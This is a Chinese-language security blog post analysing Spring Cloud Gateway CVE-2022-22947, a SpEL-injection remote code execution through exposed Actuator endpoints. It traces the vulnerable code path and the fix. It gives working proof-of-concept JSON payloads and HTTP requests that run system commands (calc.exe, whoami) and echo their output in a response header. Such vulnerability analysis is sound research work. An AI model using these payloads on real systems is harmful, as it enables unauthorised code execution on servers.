原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE

原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE

原创 Whippet SecIN技术平台 2023-03-29 18:00

点击蓝字

关注我们

漏洞简介

Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用。当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。

影响版本

  • Spring Cloud Gateway

  • 3.1.0

  • 3.0.0 to 3.0.6

  • 旧的不受支持的版本

漏洞分析

Predicate

通过 github 上的 commits 记录,定位到漏洞修补代码 如果想要利用 github 比较两个版本的差异,可以构造链接

https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0…v3.1.1?diff=split

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue
中利用 GatewayEvaluationContext
 替换了原本的 StandardEvaluationContext
来执行spel 表达式

GatewayEvaluationContext
 实际上调用的是 SimpleEvaluationContext
方法

StandardEvaluationContext
 和 SimpleEvaluationContext
都是执行 Spring 的 SpEL 表达式的接口。

SpEL 提供的两个 EvaluationContext ,区别如下:
– SimpleEvaluationContext

  • 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。

  • StandardEvaluationContext

  • 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext
 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java类型引用、构造函数 和 bean引用。所以说指定正确 EvaluationContext ,是防止SpEl表达式注入漏洞产生的首选。

因为采用 StandardEvaluationContext 而产生的 SpEL 注入 也存在历史漏洞 CVE-2018-1273

对 SpEL 的深入了解可以查看这篇文章 
SpEL injection

我们下载

3.1.0 
的代码 进行分析,定位到漏洞触发点

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

可以看到判断 rawValue 的值不为空且以 

{ 为开头

} 为结尾时,会进入到不安全的 SpEL 解析方法。

寻找调用 getValue
 的位置,四处均在 ShortcutConfigurable
 的接口类中的 枚举类ShortcutType
 中

枚举类ShortcutType
 的三个枚举值中重写了 normalize
方法

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize

全局搜索 ShortcutType
找出其中调用 normalize
 方法

org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

通过分析代码可知 normalizeProperties
 中所对应的 this.properties
 就对应着最终 SpEL 表达式中的内容

normalizeProperties
 是对 filter 的属性进行解析,会将 filter 的配置属性传入 normalize
 中,最后进入 getValue 执行 SpEL 表达式造成 SpEL 表达式注入。

向上寻找 normalizeProperties
 的调用

org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#lookup

properties
 的值由 predicate.getArgs()
赋予

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#combinePredicates

最后的触发与路由对应的 Predicate 有关,spring cloud gateway 通过谓词(Predicate)来匹配来自用户的请求,不同的谓词对应着不同的效果。

我们在配置文件中添加对应的 SpEL 表达式就可以触发漏洞

但是通过修改配置文件能叫 RCE 吗

所以还是要正向分析,spring-cloud-gateway 可以通过 Actuator API 在网关中创建和删除路由

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

添加路由信息完成后,还需要进行刷新

http://127.0.0.1:8080/actuator/gateway/refresh

回显方法

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

Filters

在另一条链路中发现,通过路由对应的 Filters 也是可以触发漏洞
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters

所以通过构造这样的 poc 也是可以的

{"id":"first_route",
"predicates": [],"filters":[
    {
        "name":"RewritePath",
        "args":{
                "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
    }
    }
],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

详细分析一下为什么需要如此构造

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save

添加路由时会调用 

validateRouteDefinition
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#validateRouteDefinition

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#isAvailable(org.springframework.cloud.gateway.filter.FilterDefinition)

会判断 Filters 对应的 name 是否存在
– anyMatch:判断的条件里,任意一个元素成功,返回true

  • allMatch:判断条件里的元素,所有的都是,返回true

  • noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true

for(int i=0;i<this.GatewayFilters.size();i++){     System.out.println(GatewayFilters.get(i).name()); }

name 满足其中的任意一个都是可以的

回显方法

org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory

将配置内容添加到了响应请求头

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

除此之外,这些都是可以的

AddRequestHeader
MapRequestHeader
AddResponseHeader
SetRequestHeader
...

漏洞复现

POST /actuator/gateway/routes/testing HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json
Content-Length: 187


{"id":"testing","filters":[
    {
        "name":"RewritePath",
        "args":{
                "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
    }
    }
]
}

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json

往期推荐

原创 | 从KCON2022议题来看fastjson新版本RCE

原创 | 网鼎杯ezjava利用分析

原创 |VMWare Workspace ONE Access Auth Bypass